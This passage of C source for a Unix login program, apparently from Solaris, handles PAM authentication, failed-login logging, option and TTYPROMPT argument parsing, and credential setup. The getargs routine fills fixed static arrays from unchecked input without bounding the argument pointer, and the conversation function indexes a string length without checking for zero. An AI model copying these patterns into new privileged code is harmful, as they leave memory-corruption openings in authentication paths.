430 * Call pam_start to initiate a PAM authentication operation
431 */
432
433 if ((pam_start(progname, user_name, &pam_conv, &pamh))
434 != PAM_SUCCESS)
435 login_exit(1);
436 if ((pam_set_item(pamh, PAM_TTY, ttyn)) != PAM_SUCCESS) {
437 login_exit(1);
438 }
439 if ((pam_set_item(pamh, PAM_RHOST, remote_host)) != PAM_SUCCESS) {
440 login_exit(1);
441 }
442
443 /*
444 * Open the log file which contains a record of successful and failed
445 * login attempts
446 */
447 turn_on_logging();
448
449 /*
450 * say "hi" to syslogd ..
451 */
452 openlog("login", 0, LOG_AUTH);
453
454 /*
455 * Do special processing for -r (rlogin) flag
456 */
457 if (rflag)
458 process_rlogin();
459
460 /*
461 * validate user
462 */
463 /* we are already authenticated. fill in what we must, then continue */
464 if (fflag) {
465 if (pwd = getpwnam(user_name))
466 audit_login_save_pw(pwd);
467 else {
468 audit_login_save_pw(pwd);
469 audit_login_bad_pw();
470 log_bad_attempts();
471 login_exit(1);
472 }
473 } else {
474 /*
475 * Perform the primary login authentication activity.
476 */
477 login_authenticate();
478 }
479
480 /* change root login, then we exec another login and try again */
481 if (process_chroot_logins() != OK)
482 login_exit(1);
483
484 /*
485 * If root login and not on system console then call exit(2)
486 */
487 check_for_root_user();
488
489 /*
490 * Check to see if a shutdown is in progress, if it is and
491 * we are not root then throw the user off the system
492 */
493 if (logins_disabled(user_name) == TRUE)
494 login_exit(1);
495
496 if (pwd->pw_uid == 0) {
497 if (Def_supath != NULL)
498 Def_path = Def_supath;
499 else
500 Def_path = DEF_SUPATH;
501 }
502
503 /*
504 * Check account expiration and passwd aging
505 */
506 validate_account();
507
508 /*
509 * We only get here if we've been authenticated.
510 */
511 update_utmp_entry(sublogin);
512
513 /*
514 * Now we set up the environment for the new user, which includes
515 * the users ulimit, nice value, ownership of this tty, uid, gid,
516 * and environment variables.
517 */
518 if (Def_ulimit > 0L && ulimit(SET_FSIZ, Def_ulimit) < 0L)
519 (void) printf("Could not set ULIMIT to %ld\n", Def_ulimit);
520
521 /*
522 * Set mode to r/w user & w group, owner to user and group to tty
523 */
524 (void) chmod(ttyn, S_IRUSR|S_IWUSR|S_IWGRP);
525
526 if ((grpstr = getgrnam(ttygrp)) == NULL)
527 (void) chown(ttyn, pwd->pw_uid, pwd->pw_gid);
528 else
529 (void) chown(ttyn, pwd->pw_uid, grpstr->gr_gid);
530
531 logindevperm(ttyn, pwd->pw_uid, pwd->pw_gid);
532 adjust_nice(); /* passwd file can specify nice value */
533
534 /*
535 * Record successful login and fork process that records logout.
536 * We have to do this before setting credentials because we need
537 * to be root in order do a setaudit() and an audit().
538 */
539 audit_login_success();
540
541 setup_credentials(); /* Set uid/gid - exits on failure */
542
543 /*
544 * Set up the basic environment for the exec. This includes
545 * HOME, PATH, LOGNAME, SHELL, TERM, TZ, HZ, and MAIL.
546 */
547 chdir_to_dir_user();
548
549 establish_user_environment(renvp);
550
551 pam_end(pamh, PAM_SUCCESS); /* Done using PAM */
552
553 if (pwd->pw_uid == 0)
554 if (remote_host[0] && dosyslog)
555 syslog(LOG_NOTICE, "ROOT LOGIN %s FROM %.*s",
556 ttyn, HMAX, remote_host);
557 else if (dosyslog)
558 syslog(LOG_NOTICE, "ROOT LOGIN %s", ttyn);
559 closelog();
560
561 (void) signal(SIGQUIT, SIG_DFL);
562 (void) signal(SIGINT, SIG_DFL);
563
564 /*
565 * Display some useful information to the new user like the banner
566 * and last login time if not a quiet login.
567 */
568
569 if (access(HUSHLOGIN, F_OK) != 0) {
570 print_banner();
571 display_last_login_time();
572 }
573
574 /*
575 * Set SIGXCPU and SIGXFSZ to default disposition.
576 * Shells inherit signal disposition from parent.
577 * And the shells should have default dispositions
578 * for the two below signals.
579 */
580 (void) signal(SIGXCPU, SIG_DFL);
581 (void) signal(SIGXFSZ, SIG_DFL);
582
583 /*
584 * Now fire off the shell of choice
585 */
586 exec_the_shell();
587
588 /*
589 * All done
590 */
591 login_exit(1);
592 /* NOTREACHED */
593}
594
595
596/*
597 * *** Utility functions ***
598 */
599
600
601
602/*
603 * donothing & catch - Signal catching functions
604 */
605
606/*ARGSUSED*/
607static void
608donothing(int sig)
609{
610 if (pamh)
611 pam_end(pamh, PAM_ABORT);
612}
613
614#ifdef notdef
615static int intrupt;
616
617/*ARGSUSED*/
618static void
619catch(int sig)
620{
621 ++intrupt;
622}
623#endif
624
625/*
626 * *** Bad login logging support ***
627 */
628
629/*
630 * badlogin() - log to the log file 'trys'
631 * unsuccessful attempts
632 */
633
634static void
635badlogin(void)
636{
637 int retval, count1, fildes;
638
639 /*
640 * Tries to open the log file. If succeed, lock it and write
641 * in the failed attempts
642 */
643 if ((fildes = open(LOGINLOG, O_APPEND|O_WRONLY)) != -1) {
644
645 (void) sigset(SIGALRM, donothing);
646 (void) alarm(L_WAITTIME);
647 retval = lockf(fildes, F_LOCK, 0L);
648 (void) alarm(0);
649 (void) sigset(SIGALRM, SIG_DFL);
650 if (retval == 0) {
651 for (count1 = 0; count1 < trys; count1++)
652 (void) write(fildes, log_entry[count1],
653 (unsigned) strlen(log_entry[count1]));
654 (void) lockf(fildes, F_ULOCK, 0L);
655 }
656 (void) close(fildes);
657 }
658}
659
660
661/*
662 * log_bad_attempts - log each bad login attempt - called from
663 * login_authenticate. Exits when the maximum attempt
664 * count is exceeded.
665 */
666
667static void
668log_bad_attempts(void)
669{
670 time_t timenow;
671
672 if (writelog == 1 && trys < LOGTRYS) {
673 (void) time(&timenow);
674 (void) strncat(log_entry[trys], user_name, LNAME_SIZE);
675 (void) strncat(log_entry[trys], ":", (size_t) 1);
676 (void) strncat(log_entry[trys], ttyn, TTYN_SIZE);
677 (void) strncat(log_entry[trys], ":", (size_t) 1);
678 (void) strncat(log_entry[trys], ctime(&timenow), TIME_SIZE);
679 trys++;
680 }
681}
682
683
684/*
685 * turn_on_logging - if the logfile exist, turn on attempt logging and
686 * initialize the string storage area
687 */
688
689static void
690turn_on_logging(void)
691{
692 struct stat dbuf;
693 int i;
694
695 if (stat(LOGINLOG, &dbuf) == 0) {
696 writelog = 1;
697 for (i = 0; i < LOGTRYS; i++) {
698 if (!(log_entry[i] = malloc((size_t) ENT_SIZE))) {
699 writelog = 0;
700 break;
701 }
702 *log_entry[i] = '\0';
703 }
704 }
705}
706
707
708/*
709 * login_conv():
710 * This is the conv (conversation) function called from
711 * a PAM authentication module to print error messages
712 * or garner information from the user.
713 */
714static int
715login_conv(int num_msg, struct pam_message **msg,
716 struct pam_response **response, void *appdata_ptr)
717{
718 struct pam_message *m;
719 struct pam_response *r;
720 char *temp;
721 int k, i;
722
723 if (num_msg <= 0)
724 return (PAM_CONV_ERR);
725
726 *response = calloc(num_msg, sizeof (struct pam_response));
727 if (*response == NULL)
728 return (PAM_BUF_ERR);
729
730 k = num_msg;
731 m = *msg;
732 r = *response;
733 while (k--) {
734
735 switch (m->msg_style) {
736
737 case PAM_PROMPT_ECHO_OFF:
738 temp = getpassphrase(m->msg);
739 if (temp != NULL) {
740 r->resp = strdup(temp);
741 if (r->resp == NULL) {
742 /* free responses */
743 r = *response;
744 for (i = 0; i < num_msg; i++, r++) {
745 if (r->resp)
746 free(r->resp);
747 }
748 free(*response);
749 *response = NULL;
750 return (PAM_BUF_ERR);
751 }
752 }
753
754 m++;
755 r++;
756 break;
757
758 case PAM_PROMPT_ECHO_ON:
759 if (m->msg != NULL)
760 (void) fputs(m->msg, stdout);
761 r->resp = calloc(1, PAM_MAX_RESP_SIZE);
762 if (r->resp == NULL) {
763 /* free responses */
764 r = *response;
765 for (i = 0; i < num_msg; i++, r++) {
766 if (r->resp)
767 free(r->resp);
768 }
769 free(*response);
770 *response = NULL;
771 return (PAM_BUF_ERR);
772 }
773 if (fgets(r->resp, PAM_MAX_RESP_SIZE-1, stdin)) {
774 int len;
775 r->resp[PAM_MAX_RESP_SIZE-1] = NULL;
776 len = strlen(r->resp);
777 if (r->resp[len-1] == '\n')
778 r->resp[len-1] = '\0';
779 } else {
780 login_exit(1);
781 }
782 m++;
783 r++;
784 break;
785
786 case PAM_ERROR_MSG:
787 if (m->msg != NULL) {
788 (void) fputs(m->msg, stderr);
789 (void) fputs("\n", stderr);
790 }
791 m++;
792 r++;
793 break;
794 case PAM_TEXT_INFO:
795 if (m->msg != NULL) {
796 (void) fputs(m->msg, stdout);
797 (void) fputs("\n", stdout);
798 }
799 m++;
800 r++;
801 break;
802
803 default:
804 break;
805 }
806 }
807 return (PAM_SUCCESS);
808}
809
810/*
811 * verify_passwd - Checks the users password
812 * Returns: OK if password check successful,
813 * ERROR if password check fails.
814 */
815
816static int
817verify_passwd()
818{
819 int flags;
820 int error;
821 char *user;
822
823 /*
824 * PAM authenticates the user for us.
825 */
826
827 error = pam_authenticate(pamh, 0);
828
829 /* get the user_name from the pam handle */
830 pam_get_item(pamh, PAM_USER, (void**)&user);
831 SCPYN(user_name, user); /*SCUT*/
832 check_for_dueling_unix(user_name);
833
834 if ((pwd = getpwnam(user_name)) == NULL) {
835 audit_login_save_pw(pwd);
836 return (PAM_USER_UNKNOWN);
837 }
838
839 audit_login_save_pw(pwd);
840
841 return (error);
842}
843
844/*
845 * quotec - Called by getargs
846 */
847
848static int
849quotec(void)
850{
851 register int c, i, num;
852
853 switch (c = getc(stdin)) {
854
855 case 'n':
856 c = '\n';
857 break;
858
859 case 'r':
860 c = '\r';
861 break;
862
863 case 'v':
864 c = '\013';
865 break;
866
867 case 'b':
868 c = '\b';
869 break;
870
871 case 't':
872 c = '\t';
873 break;
874
875 case 'f':
876 c = '\f';
877 break;
878
879 case '0':
880 case '1':
881 case '2':
882 case '3':
883 case '4':
884 case '5':
885 case '6':
886 case '7':
887 for (num = 0, i = 0; i < 3; i++) {
888 num = num * 8 + (c - '0');
889 if ((c = getc(stdin)) < '0' || c > '7')
890 break;
891 }
892 (void) ungetc(c, stdin);
893 c = num & 0377;
894 break;
895
896 default:
897 break;
898 }
899 return (c);
900}
901
902/*
903 * getargs - returns an input line. Exits if EOF encountered.
904 */
905#define WHITESPACE 0
906#define ARGUMENT 1
907
908static char **
909getargs(char *inline)
910{
911 static char envbuf[MAXLINE];
912 static char *args[MAXARGS];
913 register char *ptr, **answer;
914 register int c;
915 int state;
916
917 for (ptr = envbuf; ptr < &envbuf[sizeof (envbuf)]; /* cstyle */)
918 *ptr++ = '\0';
919
920 for (answer = args; answer < &args[MAXARGS]; /* cstyle */)
921 *answer++ = (char *)NULL;
922
923 for (ptr = envbuf, answer = &args[0], state = WHITESPACE;
924 (c = getc(stdin)) != EOF; /* cstyle */) {
925
926 *(inline++) = c;
927 switch (c) {
928
929 case '\n':
930 if (ptr == &envbuf[0])
931 return ((char **)NULL);
932 return (&args[0]);
933
934 case ' ':
935 case '\t':
936 if (state == ARGUMENT) {
937 *ptr++ = '\0';
938 state = WHITESPACE;
939 }
940 break;
941
942 case '\\':
943 c = quotec();
944
945 default:
946 if (state == WHITESPACE) {
947 *answer++ = ptr;
948 state = ARGUMENT;
949 }
950 *ptr++ = c;
951 }
952
953 /*
954 * If the buffer is full, force the next character to be read to
955 * be a <newline>.
956 */
957 if (ptr == &envbuf[sizeof (envbuf)-1]) {
958 (void) ungetc('\n', stdin);
959 (void) putc('\n', stdout);
960 }
961 }
962
963 /*
964 * If we left loop because an EOF was received, exit immediately.
965 */
966 login_exit(0);
967 /* NOTREACHED */
968}
969
970/*
971 * get_user_name - Gets the user name either passed in, or from the
972 * login: prompt.
973 */
974
975static void
976get_user_name()
977{
978 FILE *fp;
979 int gotname = 0;
980
981 if ((fp = fopen(ISSUEFILE, "r")) != NULL) {
982 char *ptr, buffer[BUFSIZ];
983 while ((ptr = fgets(buffer, sizeof (buffer),
984 fp)) != NULL) {
985 (void) fputs(ptr, stdout);
986 }
987 (void) fclose(fp);
988 }
989
990 /*
991 * if TTYPROMPT is not set, use our own prompt
992 * otherwise, use ttyprompt. We just set PAM_USER_PROMPT
993 * and let the module do the prompting.
994 */
995
996 if ((ttyprompt == NULL) || (*ttyprompt == '\0'))
997 (void) pam_set_item(pamh, PAM_USER_PROMPT, (void *)loginmsg);
998 else
999 (void) pam_set_item(pamh, PAM_USER_PROMPT, (void *)ttyprompt);
1000
1001 envp = &zero; /* XXX: is this right? */
1002}
1003
1004
1005/*
1006 * Check_for_dueling_unix - Check to see if the another login is talking
1007 * to the line we've got open as a login port
1008 * Exits if we're talking to another unix system
1009 */
1010
1011static void
1012check_for_dueling_unix(char *inputline)
1013{
1014 if (EQN(loginmsg, inputline) || EQN(passwdmsg, inputline) ||
1015 EQN(incorrectmsg, inputline)) {
1016 (void) printf("Looking at a login line.\n");
1017 login_exit(8);
1018 }
1019}
1020
1021/*
1022 * logins_disabled - if the file /etc/nologin exists and the user is not
1023 * root then do not permit them to login
1024 */
1025static int
1026logins_disabled(char *user_name)
1027{
1028 FILE *nlfd;
1029 int c;
1030 if (!EQN("root", user_name) &&
1031 ((nlfd = fopen(NOLOGIN, "r")) != (FILE *)NULL)) {
1032 while ((c = getc(nlfd)) != EOF)
1033 putchar(c);
1034 (void) fflush(stdout);
1035 sleep(5);
1036 return (TRUE);
1037 }
1038 return (FALSE);
1039}
1040
1041/*
1042 * check_for_root_user - Checks if we're getting a root login on the console
1043 * Exits if root login not on system console.
1044 *
1045 */
1046
1047static void
1048check_for_root_user(void)
1049{
1050 if (pwd->pw_uid == 0) {
1051 if ((Console != NULL) && (strcmp(ttyn, Console) != 0)) {
1052 audit_login_not_console();
1053 (void) printf("Not on system console\n");
1054 login_exit(10);
1055 }
1056 }
1057}
1058
1059
1060static char *illegal[] = {
1061 "SHELL=",
1062 "HOME=",
1063 "LOGNAME=",
1064#ifndef NO_MAIL
1065 "MAIL=",
1066#endif
1067 "CDPATH=",
1068 "IFS=",
1069 "PATH=",
1070 0
1071};
1072
1073/*
1074 * legalenvvar - Is it legal to insert this environmental variable?
1075 */
1076
1077static int
1078legalenvvar(char *s)
1079{
1080 register char **p;
1081
1082 for (p = illegal; *p; p++)
1083 if (strncmp(s, *p, strlen(*p)) == 0)
1084 return (0);
1085
1086 if (s[0] == 'L' && s[1] == 'D' && s[2] == '_')
1087 return (0);
1088
1089 return (1);
1090}
1091
1092
1093/*
1094 * getstr - Get a string from standard input
1095 * Calls exit if read(2) fails.
1096 */
1097
1098static void
1099getstr(char *buf, int cnt, char *err)
1100{
1101 char c;
1102
1103 do {
1104 if (read(0, &c, 1) != 1)
1105 login_exit(1);
1106 *buf++ = c;
1107 } while (--cnt > 1 && c != 0);
1108
1109 *buf = 0;
1110 err = err; /* For lint */
1111}
1112
1113
1114/*
1115 * defaults - read defaults
1116 */
1117
1118static void
1119defaults(void)
1120{
1121 register int flags;
1122 register char *ptr;
1123
1124 if (defopen(Pndefault) == 0) {
1125 /*
1126 * ignore case
1127 */
1128 flags = defcntl(DC_GETFLAGS, 0);
1129 TURNOFF(flags, DC_CASE);
1130 defcntl(DC_SETFLAGS, flags);
1131
1132 if ((Console = defread("CONSOLE=")) != NULL)
1133 Console = strdup(Console);
1134
1135 if ((Altshell = defread("ALTSHELL=")) != NULL)
1136 Altshell = strdup(Altshell);
1137
1138 if ((Passreq = defread("PASSREQ=")) != NULL)
1139 Passreq = strdup(Passreq);
1140
1141 if ((Def_tz = defread("TIMEZONE=")) != NULL)
1142 Def_tz = strdup(Def_tz);
1143
1144 if ((Def_hertz = defread("HZ=")) != NULL)
1145 Def_hertz = strdup(Def_hertz);
1146
1147 if ((Def_path = defread("PATH=")) != NULL)
1148 Def_path = strdup(Def_path);
1149
1150 if ((Def_supath = defread("SUPATH=")) != NULL)
1151 Def_supath = strdup(Def_supath);
1152
1153 if ((ptr = defread("ULIMIT=")) != NULL)
1154 Def_ulimit = atol(ptr);
1155
1156 if ((ptr = defread("TIMEOUT=")) != NULL)
1157 Def_timeout = (unsigned) atoi(ptr);
1158
1159 if ((ptr = defread("UMASK=")) != NULL)
1160 if (sscanf(ptr, "%lo", &Umask) != 1)
1161 Umask = DEFUMASK;
1162
1163 if ((ptr = defread("SLEEPTIME=")) != NULL)
1164 Sleeptime = atoi(ptr);
1165
1166 if ((ptr = defread("SYSLOG=")) != NULL)
1167 dosyslog = strcmp(ptr, "YES") == 0;
1168
1169 if ((ptr = defread("RETRIES=")) != NULL)
1170 retry = atoi(ptr);
1171
1172 (void) defopen((char *)NULL);
1173 }
1174}
1175
1176
1177/*
1178 * get_options(argc, argv)
1179 * - parse the cmd line.
1180 * - return 0 if successful, -1 if failed.
1181 * Calls login_exit() on misuse of -r and -h flags
1182 */
1183
1184static int
1185get_options(int argc, char *argv[])
1186{
1187 int c;
1188 int errflg = 0;
1189
1190 while ((c = getopt(argc, argv, "f:h:r:pad:")) != -1) {
1191 switch (c) {
1192 case 'a':
1193 break;
1194
1195 case 'd':
1196 /*
1197 * Must be root to pass in device name
1198 * otherwise we exit() as punishment for trying.
1199 */
1200 if (getuid() != 0 || geteuid() != 0) {
1201 login_exit(1); /* sigh */
1202 /*NOTREACHED*/
1203 }
1204 ttyn = optarg;
1205 break;
1206
1207 case 'h':
1208 if (hflag || rflag) {
1209 (void) fprintf(stderr,
1210 "Only one of -r and -h allowed\n");
1211 login_exit(1);
1212 }
1213 hflag++;
1214 SCPYN(remote_host, optarg);
1215 if (argv[optind]) {
1216 if (argv[optind][0] != '-')
1217 SCPYN(terminal, argv[optind]);
1218 optind++;
1219 }
1220 progname = "telnet";
1221 break;
1222
1223 case 'r':
1224 if (hflag || rflag) {
1225 (void) fprintf(stderr,
1226 "Only one of -r and -h allowed\n");
1227 login_exit(1);
1228 }
1229 rflag++;
1230 SCPYN(remote_host, optarg);
1231 progname = "rlogin";
1232 break;
1233
1234 case 'p':
1235 pflag++;
1236 break;
1237
1238 case 'f':
1239 /*
1240 * Must be root to bypass authentication
1241 * otherwise we exit() as punishment for trying.
1242 */
1243 if (getuid() != 0 || geteuid() != 0) {
1244 login_exit(1); /* sigh */
1245 /*NOTREACHED*/
1246 }
1247 /* save fflag user name for future use */
1248 SCPYN(user_name, optarg);
1249 fflag = 1;
1250 break;
1251 default:
1252 errflg++;
1253 break;
1254 } /* end switch */
1255 } /* end while */
1256
1257 /*
1258 * get the prompt set by ttymon
1259 */
1260 ttyprompt = getenv("TTYPROMPT");
1261
1262 if ((ttyprompt != NULL) && (*ttyprompt != '\0')) {
1263 /*
1264 * if ttyprompt is set, there should be data on
1265 * the stream already.
1266 */
1267 if ((envp = getargs(inputline)) != (char **)NULL) {
1268 /*
1269 * don't get name if name passed as argument.
1270 */
1271 SCPYN(user_name, *envp++);
1272 }
1273 } else if (optind < argc) {
1274 SCPYN(user_name, argv[optind]);
1275 (void) strcpy(inputline, user_name);
1276 (void) strcat(inputline, " \n");
1277 envp = &argv[optind+1];
1278 }
1279
1280 if (errflg)
1281 return (-1);
1282 return (0);
1283}
1284
1285/*
1286 * usage - Print usage message
1287 *
1288 */
1289
1290static void
1291usage(void)
1292{
1293 (void) fprintf(stderr,
1294 "Usage:\tlogin [-h|-r] [ name [ env-var ... ]]\n");
1295}
1296
1297/*
1298 * *** Remote login support ***
1299 *
1300 */
1301
1302
1303/*
1304 * doremoteterm - Sets the appropriate ioctls for a remote terminal
1305 */
1306
1307static char *speeds[] = {
1308 "0", "50", "75", "110", "134", "150", "200", "300",
1309 "600", "1200", "1800", "2400", "4800", "9600", "19200", "38400",
1310 "57600", "76800", "115200", "153600", "230400", "307200", "460800"
1311};
1312
1313#define NSPEEDS (sizeof (speeds) / sizeof (speeds[0]))
1314
1315
1316static void
1317doremoteterm(char *term)
1318{
1319 struct termios tp;
1320 register char *cp = strchr(term, '/'), **cpp;
1321 char *speed;
1322
1323 (void) ioctl(0, TCGETS, &tp);
1324
1325 if (cp) {
1326 *cp++ = '\0';
1327 speed = cp;
1328 cp = strchr(speed, '/');
1329
1330 if (cp)
1331 *cp++ = '\0';
1332
1333 for (cpp = speeds; cpp < &speeds[NSPEEDS]; cpp++)
1334 if (strcmp(*cpp, speed) == 0) {
1335 cfsetospeed(&tp, cpp-speeds);
1336 break;
1337 }
1338 }
1339
1340 tp.c_lflag |= ECHO|ICANON;
1341 tp.c_iflag |= IGNPAR|ICRNL;
1342
1343 (void) ioctl(0, TCSETS, &tp);
1344
1345}
1346
1347
1348/*
1349 * Process_rlogin - Does the work that rlogin and telnet
1350 * need done
1351 */
1352
1353static void
1354process_rlogin(void)
1355{
1356
1357 getstr(rusername, sizeof (rusername), "remuser");
1358 getstr(lusername, sizeof (lusername), "locuser");
1359 getstr(terminal, sizeof (terminal), "Terminal type");
1360
1361 /* fflag has precedence over stuff passed by rlogind */
1362 if (fflag || getuid()) {
1363 pwd = &nouser;
1364 doremoteterm(terminal);
1365 return;
1366 } else {
1367 if (pam_set_item(pamh, PAM_USER, lusername) != PAM_SUCCESS)
1368 login_exit(1);
1369 pwd = getpwnam(lusername);
1370 if (pwd == NULL) {
1371 pwd = &nouser;
1372 doremoteterm(terminal);
1373 return;
1374 }
1375 }
1376
1377 doremoteterm(terminal);
1378
1379 /*
1380 * Update PAM on the user name
1381 */
1382 if (pam_set_item(pamh, PAM_USER, lusername) != PAM_SUCCESS)
1383 login_exit(1);
1384
1385 if (pam_set_item(pamh, PAM_RUSER, rusername) != PAM_SUCCESS)
1386 login_exit(1);
1387
1388 SCPYN(user_name, lusername);
1389 envp = &zero;
1390 lusername[0] = '\0';
1391}
1392
1393/*
1394 * *** Account validation routines ***
1395 *
1396 */
1397
1398/*
1399 * validate_account - This is the PAM version of validate.
1400 */
1401
1402static void
1403validate_account()
1404{
1405 int error;
1406 int n;
1407 int flag;
1408
1409 (void) alarm(0); /* give user time to come up with password */
1410
1411 check_log();
1412
1413 if ((Passreq != NULL) && (!strcasecmp("YES", Passreq)))
1414 flag = PAM_DISALLOW_NULL_AUTHTOK;
1415 else
1416 flag = 0;
1417
1418 if ((error = pam_acct_mgmt(pamh, flag)) != PAM_SUCCESS) {
1419 if (error == PAM_NEW_AUTHTOK_REQD) {
1420 (void) printf("Choose a new password.\n");
1421
1422 if ((error = pam_chauthtok(pamh, 0)) != PAM_SUCCESS) {
1423 if (dosyslog)
1424 syslog(LOG_CRIT,
1425 "change password failure: %s",
1426 pam_strerror(pamh, error));
1427 login_exit(1);
1428 }
1429 } else {
1430 (void) printf(incorrectmsg);
1431 if (dosyslog)
1432 syslog(LOG_CRIT,
1433 "login account failure: %s",
1434 pam_strerror(pamh, error));
1435 login_exit(1);
1436 }
1437 }
1438}
1439
1440/*
1441 * Check_log - This is really a hack because PAM checks the log, but login
1442 * wants to know if the log is okay and PAM doesn't have
1443 * a module independent way of handing this info back.
1444 */
1445
1446static void
1447check_log(void)
1448{
1449 int fdl;
1450 long long offset;
1451
1452 offset = (long long) pwd->pw_uid * (long long) sizeof (struct lastlog);
1453
1454 if ((fdl = open(LASTLOG, O_RDWR|O_CREAT, 0444)) >= 0) {
1455 if (llseek(fdl, offset, SEEK_SET) == offset &&
1456 read(fdl, (char *)&ll, sizeof (ll)) == sizeof (ll) &&
1457 ll.ll_time != 0)
1458 lastlogok = 1;
1459 (void) close(fdl);
1460 }
1461}
1462
1463
1464/*
1465 * chdir_to_dir_root - Attempts to chdir us to the home directory.
1466 * defaults to "/" if it can't cd to the home
1467 * directory, and returns ERROR if it can't do that.
1468 */
1469
1470static int
1471chdir_to_dir_root(void)
1472{
1473 if (chdir(pwd->pw_dir) < 0) {
1474 if (chdir("/") < 0) {
1475 (void) printf("No directory!\n");
1476 return (ERROR);
1477 }
1478 }
1479
1480 return (OK);
1481}
1482
1483
1484/*
1485 * chdir_to_dir_user - Now chdir after setuid/setgid have happened to
1486 * place us in the user's home directory just in
1487 * case it was protected and the first chdir failed.
1488 * No chdir errors should happen at this point because
1489 * all failures should have happened on the first
1490 * time around.
1491 */
1492
1493static void
1494chdir_to_dir_user(void)
1495{
1496 if (chdir(pwd->pw_dir) < 0) {
1497 if (chdir("/") < 0) {
1498 (void) printf("No directory!\n");
1499 /*
1500 * This probably won't work since we can't get to /.
1501 */
1502 if (remote_host[0] && dosyslog) {
1503 syslog(LOG_CRIT,
1504 "REPEATED LOGIN FAILURES ON %s FROM %.*s",
1505 ttyn, HMAX, remote_host);
1506 } else if (dosyslog) {
1507 syslog(LOG_CRIT,
1508 "REPEATED LOGIN FAILURES ON %s", ttyn);
1509 }
1510 closelog();
1511 (void) sleep(DISABLETIME);
1512 exit(1);
1513 } else {
1514 (void) printf("No directory! Logging in with home=/\n");
1515 pwd->pw_dir = "/";
1516 }
1517 }
1518}
1519
1520
1521/*
1522 * login_authenticate - Performs the main authentication work
1523 * 1. Prints the login prompt
1524 * 2. Requests and verifys the password
1525 * 3. Checks the port password
1526 */
1527
1528static void
1529login_authenticate()
1530{
1531 int cnt = 1;
1532 char *user;
1533 int err;
1534 int login_successful = 0;
1535
1536 do {
1537 /* if scheme broken, then nothing to do but quit */
1538 if (pam_get_item(pamh, PAM_USER, (void **)&user)
1539 != PAM_SUCCESS)
1540 exit(1);
1541
1542 /*
1543 * only get name from utility if it is not already
1544 * supplied by pam_start or a pam_set_item.
1545 */
1546 if (!user || !user[0]) {
1547 /* use call back to get user name */
1548 get_user_name();
1549 }
1550
1551 err = verify_passwd();
1552
1553 switch (err) {
1554 case PAM_MAXTRIES:
1555 cnt = retry;
1556 case PAM_AUTH_ERR:
1557 case PAM_AUTHINFO_UNAVAIL:
1558 case PAM_USER_UNKNOWN:
1559 audit_login_bad_pw();
1560 log_bad_attempts();
1561 break;
1562 case PAM_SUCCESS:
1563 case PAM_NEW_AUTHTOK_REQD:
1564 /*
1565 * pm_authenticate() shouldn't
1566 * return this but might do in
1567 * some cases.
1568 */
1569 if (chdir_to_dir_root() == OK) {
1570 cnt = 0;
1571 login_successful = 1;
1572 }
1573 else
1574 audit_login_bad_pw();
1575 break;
1576 case PAM_ABORT:
1577 audit_login_bad_pw();
1578 log_bad_attempts();
1579 (void) sleep(DISABLETIME);
1580 (void) printf(incorrectmsg);
1581 login_exit(1);
1582 /*NOTREACHED*/
1583 default: /* Some other PAM error */
1584 login_exit(1);
1585 /*NOTREACHED*/
1586 }
1587
1588 if (login_successful)
1589 break;
1590
1591 /* only sleep after first bad passwd */
1592 if (cnt)
1593 (void) sleep(Sleeptime);
1594 (void) printf(incorrectmsg);
1595 user_name[0] = '\0'; /* is this needed? */
1596 /* force name to be null in this case */
1597 if (pam_set_item(pamh, PAM_USER, NULL) != PAM_SUCCESS)
1598 login_exit(1);
1599 if (pam_set_item(pamh, PAM_RUSER, NULL) != PAM_SUCCESS)
1600 login_exit(1);
1601 } while (cnt++ < retry);
1602
1603 if (cnt >= retry) {
1604 audit_login_maxtrys();
1605 /*
1606 * If logging is turned on, output the
1607 * string storage area to the log file,
1608 * and sleep for DISABLETIME
1609 * seconds before exiting.
1610 */
1611 if (writelog)
1612 badlogin();
1613 if (remote_host[0] && dosyslog) {
1614 syslog(LOG_CRIT,
1615 "REPEATED LOGIN FAILURES ON %s FROM %.*s",
1616 ttyn, HMAX, remote_host);
1617 } else if (dosyslog) {
1618 syslog(LOG_CRIT,
1619 "REPEATED LOGIN FAILURES ON %s", ttyn);
1620 }
1621 (void) sleep(DISABLETIME);
1622 exit(1);
1623 }
1624
1625}
1626
1627/*
1628 * *** Credential Related routines ***
1629 *
1630 */
1631
1632/*
1633 * setup_credentials - sets the group ID, initializes the groups
1634 * and sets up the secretkey.
1635 * Exits if a failure occurrs.
1636 */
1637
1638
1639/*
1640 * setup_credentials - PAM does all the work for us on this one.
1641 */
1642
1643static void
1644setup_credentials(void)
1645{
1646 int error = 0;
1647 int flags;
1648
1649 /* set the real (and effective) GID */
1650 if (setgid(pwd->pw_gid) == -1) {
1651 login_exit(1);
1652 }
1653
1654 /*
1655 * Initialize the supplementary group access list.
1656 */
1657 if (!user_name)
1658 login_exit(1);
1659 if (initgroups(user_name, pwd->pw_gid) == -1) {
1660 login_exit(1);
1661 }
1662
1663 /* XXX really should be after setgid */
1664 if ((error = pam_setcred(pamh, PAM_ESTABLISH_CRED)) != PAM_SUCCESS) {
1665 login_exit(error);
1666 }
1667
1668 /* set the real (and effective) UID */
1669 if (setuid(pwd->pw_uid) == -1) {
1670 login_exit(1);
1671 }
1672
1673}
1674
1675/*
1676 *
1677 * *** Routines to get a new user set up and running ***
1678 *
1679 * Things to do when starting up a new user:
1680 * adjust_nice
1681 * update_utmp_entry
1682 * establish_user_environment
1683 * print_banner
1684 * display_last_login_time
1685 * exec_the_shell
1686 *
1687 */
1688
1689
1690/*
1691 * adjust_nice - Set the nice (process priority) value if the
1692 * gecos value contains an appropriate value.
1693 */
1694
1695static void
1696adjust_nice(void)
1697{
1698 int pri, mflg, i;
1699
1700 if (strncmp("pri=", pwd->pw_gecos, 4) == 0) {
1701 pri = 0;
1702 mflg = 0;
1703 i = 4;
1704
1705 if (pwd->pw_gecos[i] == '-') {
1706 mflg++;
1707 i++;
1708 }
1709
1710 while (pwd->pw_gecos[i] >= '0' && pwd->pw_gecos[i] <= '9')
1711 pri = (pri * 10) + pwd->pw_gecos[i++] - '0';
1712
1713 if (mflg)
1714 pri = -pri;
1715
1716 (void) nice(pri);
1717 }
1718}
1719
1720/*
1721 * update_utmp_entry - Searchs for the correct utmp entry, making an
1722 * entry there if it finds one, otherwise exits.
1723 */
1724
1725static void
1726update_utmp_entry(int sublogin)
1727{
1728 char *user;
1729 int error;
1730 static char *errmsg = "No utmpx entry. "
1731 "You must exec \"login\" from the lowest level \"shell\".";
1732 int tmplen;
1733 struct utmpx *u = (struct utmpx *)0;
1734 struct utmpx utmp;
1735 char *ttyntail;
1736
1737
1738 /*
1739 * If we're not a sublogin then
1740 * we'll get an error back if our PID doesn't match the PID of the
